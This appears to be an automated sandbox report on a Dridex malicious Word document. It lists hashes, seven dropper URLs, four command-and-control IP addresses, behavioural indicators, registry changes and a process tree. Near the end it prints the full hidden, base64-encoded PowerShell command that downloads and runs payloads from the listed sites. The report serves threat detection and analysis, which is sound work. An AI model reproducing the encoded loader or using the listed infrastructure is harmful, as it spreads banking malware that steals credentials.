dridex | c8a95eea1d734b39f042f0e2896111802e82621f6d5759e57420ccb03a07964b

General

Target

PDF#439904575.doc
Size

111KB
MD5

8f33e15e96940e973730a2f9e14bea01
SHA1

e60e1440917d9964db4b4baec525516b5b5255a9
SHA256

c8a95eea1d734b39f042f0e2896111802e82621f6d5759e57420ccb03a07964b
SHA512

fea98a4a4b928bb701dd9cd7f28926ff6b8d80e60610796add510768761bb53a390808da4ee46c13a983f89bcf63eef2778d25deda480ca5f447e46ee05712e2

Score

10^/10

dridex 10555 botnet discovery evasion loader trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://nuwvbfigh0bnuwvbfigh0b.belchem.com/oiy2t6jt.rar

exe.dropper

http://www.admin.halaladvisor.com.au/ggvopq.rar

exe.dropper

http://viviangray.uzor.group/j5zspe.zip

exe.dropper

https://egitim.osgbpro.com/zze6enps.zip

exe.dropper

https://pop.xpleomedia.com/nival5t35.rar

exe.dropper

https://electronlab.org/zudt9vey3.rar

exe.dropper

http://investmentevening.fisherdugmore.co.za/t6qmxn.zip

Extracted

Family

dridex

Botnet

10555

C2

195.154.237.245:443

46.105.131.73:8172

91.238.160.158:18443

213.183.128.99:3786

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

POwersheLL.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 488 1732 POwersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	488	1732	POwersheLL.exe

Dridex Loader 1 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

Processes:

resource	yara_rule
behavioral1/memory/1220-18-0x000000006BAA0000-0x000000006BADD000-memory.dmp	dridex_ldr

Blocklisted process makes network request 4 IoCs

Processes:

POwersheLL.exerundll32.exe

flow pid process

5 488 POwersheLL.exe
7 488 POwersheLL.exe
9 1220 rundll32.exe
11 1220 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

1220 rundll32.exe
1220 rundll32.exe
1220 rundll32.exe
1220 rundll32.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

rundll32.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe

flow	pid	process
5	488	POwersheLL.exe
7	488	POwersheLL.exe
9	1220	rundll32.exe
11	1220	rundll32.exe

pid	process
1220	rundll32.exe
1220	rundll32.exe
1220	rundll32.exe
1220	rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	rundll32.exe

Drops file in System32 directory 1 IoCs

Processes:

POwersheLL.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	POwersheLL.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{0E18F20A-8AA8-45E1-806D-47CCD9DDDA90}\2.0\FLAGS	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\TypeLib	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{0E18F20A-8AA8-45E1-806D-47CCD9DDDA90}\2.0\FLAGS\ = "6"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{0E18F20A-8AA8-45E1-806D-47CCD9DDDA90}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\TypeLib\{0E18F20A-8AA8-45E1-806D-47CCD9DDDA90}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

2036 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

POwersheLL.exe

pid process

488 POwersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

POwersheLL.exe

description pid process

Token: SeDebugPrivilege 488 POwersheLL.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

2036 WINWORD.EXE
2036 WINWORD.EXE
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

2036 WINWORD.EXE
2036 WINWORD.EXE

pid	process
2036	WINWORD.EXE

pid	process
488	POwersheLL.exe

description	pid	process
Token: SeDebugPrivilege	488	POwersheLL.exe

pid	process
2036	WINWORD.EXE
2036	WINWORD.EXE

pid	process
2036	WINWORD.EXE
2036	WINWORD.EXE

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

WINWORD.EXEPOwersheLL.exerundll32.exe

description	pid	process	target process
PID 2036 wrote to memory of 660	2036	WINWORD.EXE	splwow64.exe
PID 2036 wrote to memory of 660	2036	WINWORD.EXE	splwow64.exe
PID 2036 wrote to memory of 660	2036	WINWORD.EXE	splwow64.exe
PID 2036 wrote to memory of 660	2036	WINWORD.EXE	splwow64.exe
PID 488 wrote to memory of 1504	488	POwersheLL.exe	rundll32.exe
PID 488 wrote to memory of 1504	488	POwersheLL.exe	rundll32.exe
PID 488 wrote to memory of 1504	488	POwersheLL.exe	rundll32.exe
PID 1504 wrote to memory of 1220	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 1220	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 1220	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 1220	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 1220	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 1220	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 1220	1504	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PDF#439904575.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2036

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:660

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -windowstyle hidden -ENCOD IAAkAFQASQBHACAAIAA9AFsAdAB5AFAAZQBdACgAIgB7ADMAfQB7ADAAfQB7ADUAfQB7ADQAfQB7ADEAfQB7ADIAfQAiAC0ARgAnAFkAUwB0ACcALAAnAGkATwAuAGQAJwAsACcASQBSAEUAQwB0AG8AcgBZACcALAAnAFMAJwAsACcATQAuACcALAAnAEUAJwApACAAOwAkAEgAawBTAEIANgAgACAAPQAgACAAWwBUAHkAUABFAF0AKAAiAHsAMgB9AHsAMwB9AHsANgB9AHsANAB9AHsANwB9AHsAMAB9AHsANQB9AHsAMQB9ACIALQBGACcAVgBJAEMAZQBQAG8AJwAsACcAbgBUAE0AYQBuAEEAZwBFAHIAJwAsACcAUwBZAFMAJwAsACcAVABFAE0AJwAsACcATgBlAFQALgAnACwAJwBJACcALAAnAC4AJwAsACcAUwBFAFIAJwApADsAJABNAGcAaABtAGEANwBuAD0AKAAoACcATABqAGwAJwArACcAaABrACcAKQArACcAZQB5ACcAKQA7ACQAWgB6AGMAeABqAHQAZAA9ACQAWgBwAHAAMgBmAGYAeQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQARwBpADcAdQA3ADgAdwA7ACQAVQBxAGcAYwBtADIAbgA9ACgAKAAnAEEAMAByADQAJwArACcAbQB0ACcAKQArACcAdgAnACkAOwAgACAAKAAgACAAVgBhAHIAaQBBAGIAbABlACAAIAAoACcAVAAnACsAJwBJAEcAJwApACAAKQAuAHYAQQBsAFUARQA6ADoAIgBDAHIARQBgAEEAVABFAEQAYABJAHIARQBjAHQAbwBgAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAQwBFACcAKwAnAFIASQAnACsAJwBvAGsAJwApACsAKAAnADkAJwArACcAYgB4ADIAJwApACsAKAAnAEMARQAnACsAJwBSACcAKQArACgAJwBYAGMAJwArACcAbgAnACkAKwAnAGUAJwArACgAJwB2ACcAKwAnAGQANwBDAEUAJwArACcAUgAnACkAKQAtAEMAUgBFAFAAbABhAGMAZQAoAFsAYwBoAEEAcgBdADYANwArAFsAYwBoAEEAcgBdADYAOQArAFsAYwBoAEEAcgBdADgAMgApACwAWwBjAGgAQQByAF0AOQAyACkAKQA7ACQASwBzAGUAZwB6AGYAcwA9ACgAKAAnAE4AJwArACcAeQBkADMAJwApACsAJwBhADQAJwArACcAcAAnACkAOwAgACgAIABnAGUAdAAtAGkAVABlAE0AIABWAEEAcgBJAEEAQgBsAGUAOgBIAGsAUwBCADYAIAApAC4AdgBBAGwAVQBlADoAOgAiAHMAZQBgAEMAYABVAHIAaQBUAHkAcAByAE8AdABvAGMAbwBsACIAIAA9ACAAKAAoACcAVAAnACsAJwBsAHMAMQAnACkAKwAnADIAJwApADsAJABRAHAAcAA1ADAAdgB0AD0AKAAoACcAQgAnACsAJwBfADIAJwApACsAJwBnAHkAJwArACcANwBnACcAKQA7ACQARQBfAGQAMwB3AGoAYQAgAD0AIAAoACcAUQBkACcAKwAnAGYAbwAnACsAKAAnADMAcABoACcAKwAnAHkAJwApACkAOwAkAFcAdgB5AHkAdgBvAGgAPQAoACgAJwBZAGYAOQBlACcAKwAnADIAJwApACsAJwA1ADUAJwApADsAJABYAGUAegBvAGwAeQB4AD0AKAAoACcASgAnACsAJwBlADgAJwApACsAJwB5AGEAJwArACcAMwBpACcAKQA7ACQASgBkADMAMQBlAHAAYwA9ACQASABPAE0ARQArACgAKAAnAGMAJwArACcAOAAnACsAJwBqAEkAJwArACgAJwBvAGsAOQBiAHgAJwArACcAMgAnACkAKwAoACcAYwA4AGoAWAAnACsAJwBjAG4AJwApACsAKAAnAGUAdgAnACsAJwBkADcAYwA4AGoAJwApACkAIAAtAHIARQBQAEwAYQBjAEUAIAAoAFsAQwBIAEEAUgBdADkAOQArAFsAQwBIAEEAUgBdADUANgArAFsAQwBIAEEAUgBdADEAMAA2ACkALABbAEMASABBAFIAXQA5ADIAKQArACQARQBfAGQAMwB3AGoAYQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAFQANwBkAF8ANwB2AHIAPQAoACcATwB3ACcAKwAoACcAMQAxACcAKwAnAGoAdwA3ACcAKQApADsAJABGAHgAMAAyAGgAbgA1AD0AJgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAVAAuAFcARQBiAGMAbABpAGUAbgB0ADsAJABCAHQAOABuAG0AZAB4AD0AKAAoACgAKAAnAGgAJwArACcAdAB0AHAAcwA6ACkAJwArACcAKAApACcAKwAnAFcATgApACcAKQApACsAKAAoACcAKAAnACsAJwApACgAJwApACkAKwAnACkAJwArACgAKAAnAFcATgAnACsAJwApACgAJwArACcAbgB1AHcAdgAnACkAKQArACgAJwBiAGYAaQBnACcAKwAnAGgAMAAnACsAJwBiACcAKQArACcAbgAnACsAJwB1ACcAKwAnAHcAJwArACcAdgAnACsAKAAnAGIAZgBpACcAKwAnAGcAJwApACsAKAAnAGgAMAAnACsAJwBiACcAKQArACgAJwAuACcAKwAnAGIAZQAnACkAKwAnAGwAJwArACcAYwAnACsAKAAoACcAaABlAG0AJwArACcALgAnACsAJwBjAG8AJwArACcAbQApACgAKQBXAE4AJwApACkAKwAoACgAJwApACcAKwAnACgAbwAnACsAJwBpAHkAMgAnACkAKQArACgAJwB0ADYAagB0AC4AJwArACcAcgBhACcAKQArACcAcgBAACcAKwAoACgAJwBoAHQAJwArACcAdABwADoAKQAoACkAJwApACkAKwAoACgAJwBXAE4AJwArACcAKQAoACcAKQApACsAKAAoACcAKQAoACcAKwAnACkAJwApACkAKwAnAFcAJwArACgAKAAnAE4AKQAoAHcAdwB3AC4AJwArACcAYQBkAG0AaQAnACsAJwBuAC4AaAAnACkAKQArACgAJwBhACcAKwAnAGwAYQBsACcAKQArACgAJwBhAGQAJwArACcAdgAnACsAJwBpAHMAbwByAC4AYwBvACcAKQArACgAKAAnAG0ALgBhAHUAJwArACcAKQAnACsAJwAoACkAVwBOACkAKAAnACkAKQArACgAJwBnAGcAJwArACcAdgBvACcAKQArACgAJwBwACcAKwAnAHEALgAnACkAKwAnAHIAYQAnACsAKAAoACcAcgBAAGgAdAB0ACcAKwAnAHAAOgApACgAKQAnACsAJwBXAE4AJwArACcAKQAnACkAKQArACgAKAAnACgAKQAnACsAJwAoACcAKwAnACkAVwBOACkAJwArACcAKAAnACsAJwB2AGkAdgBpAGEAbgBnACcAKQApACsAJwByACcAKwAoACcAYQAnACsAJwB5AC4AdQAnACsAJwB6AG8AJwApACsAKAAnAHIAJwArACcALgBnAHIAbwB1ACcAKQArACgAKAAnAHAAKQAoACkAVwBOACkAKAAnACsAJwBqADUAegAnACsAJwBzAHAAZQAnACsAJwAuAHoAaQAnACsAJwBwACcAKQApACsAKAAoACcAQABoAHQAdABwAHMAOgAnACsAJwApACgAJwArACcAKQBXAE4AKQAoACcAKwAnACkAJwArACcAKAApAFcATgAnACkAKQArACgAKAAnACkAKAAnACkAKQArACgAJwBlAGcAJwArACcAaQAnACkAKwAoACcAdABpACcAKwAnAG0ALgAnACkAKwAoACcAbwBzACcAKwAnAGcAJwApACsAKAAnAGIAcAByAG8ALgAnACsAJwBjAG8AJwApACsAKAAoACcAbQApACcAKwAnACgAKQBXAE4AJwArACcAKQAnACsAJwAoAHoAegBlACcAKQApACsAKAAnADYAZQAnACsAJwBuAHAAcwAnACsAJwAuAHoAaQBwAEAAaAAnACsAJwB0ACcAKwAnAHQAcABzACcAKQArACcAOgAnACsAKAAoACcAKQAnACsAJwAoACkAVwBOACcAKwAnACkAKAApACgAKQBXACcAKwAnAE4AJwArACcAKQAnACsAJwAoAHAAbwBwAC4AeABwAGwAJwArACcAZQBvAG0AJwApACkAKwAoACcAZQAnACsAJwBkAGkAYQAuACcAKQArACcAYwAnACsAJwBvACcAKwAoACgAJwBtACkAKAApACcAKwAnAFcATgApACcAKQApACsAKAAoACcAKABuAGkAdgAnACsAJwBhACcAKwAnAGwAJwArACcANQB0ADMANQAuAHIAYQAnACkAKQArACgAJwByAEAAaAB0ACcAKwAnAHQAcAAnACkAKwAoACgAJwBzADoAKQAoACkAVwBOACcAKwAnACkAKAAnACsAJwApACcAKQApACsAKAAoACcAKAApACcAKwAnAFcAJwArACcATgApACgAZQBsAGUAJwApACkAKwAnAGMAJwArACgAKAAnAHQAcgAnACsAJwBvAG4AbAAnACsAJwBhAGIALgBvACcAKwAnAHIAJwArACcAZwApACgAKQBXACcAKQApACsAKAAoACcATgApACcAKwAnACgAJwApACkAKwAoACcAegB1AGQAdAAnACsAJwA5ACcAKQArACgAJwB2AGUAeQAzAC4AJwArACcAcgAnACkAKwAnAGEAJwArACcAcgAnACsAKAAoACcAQAAnACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoAKQAoACkAJwArACcAVwBOACk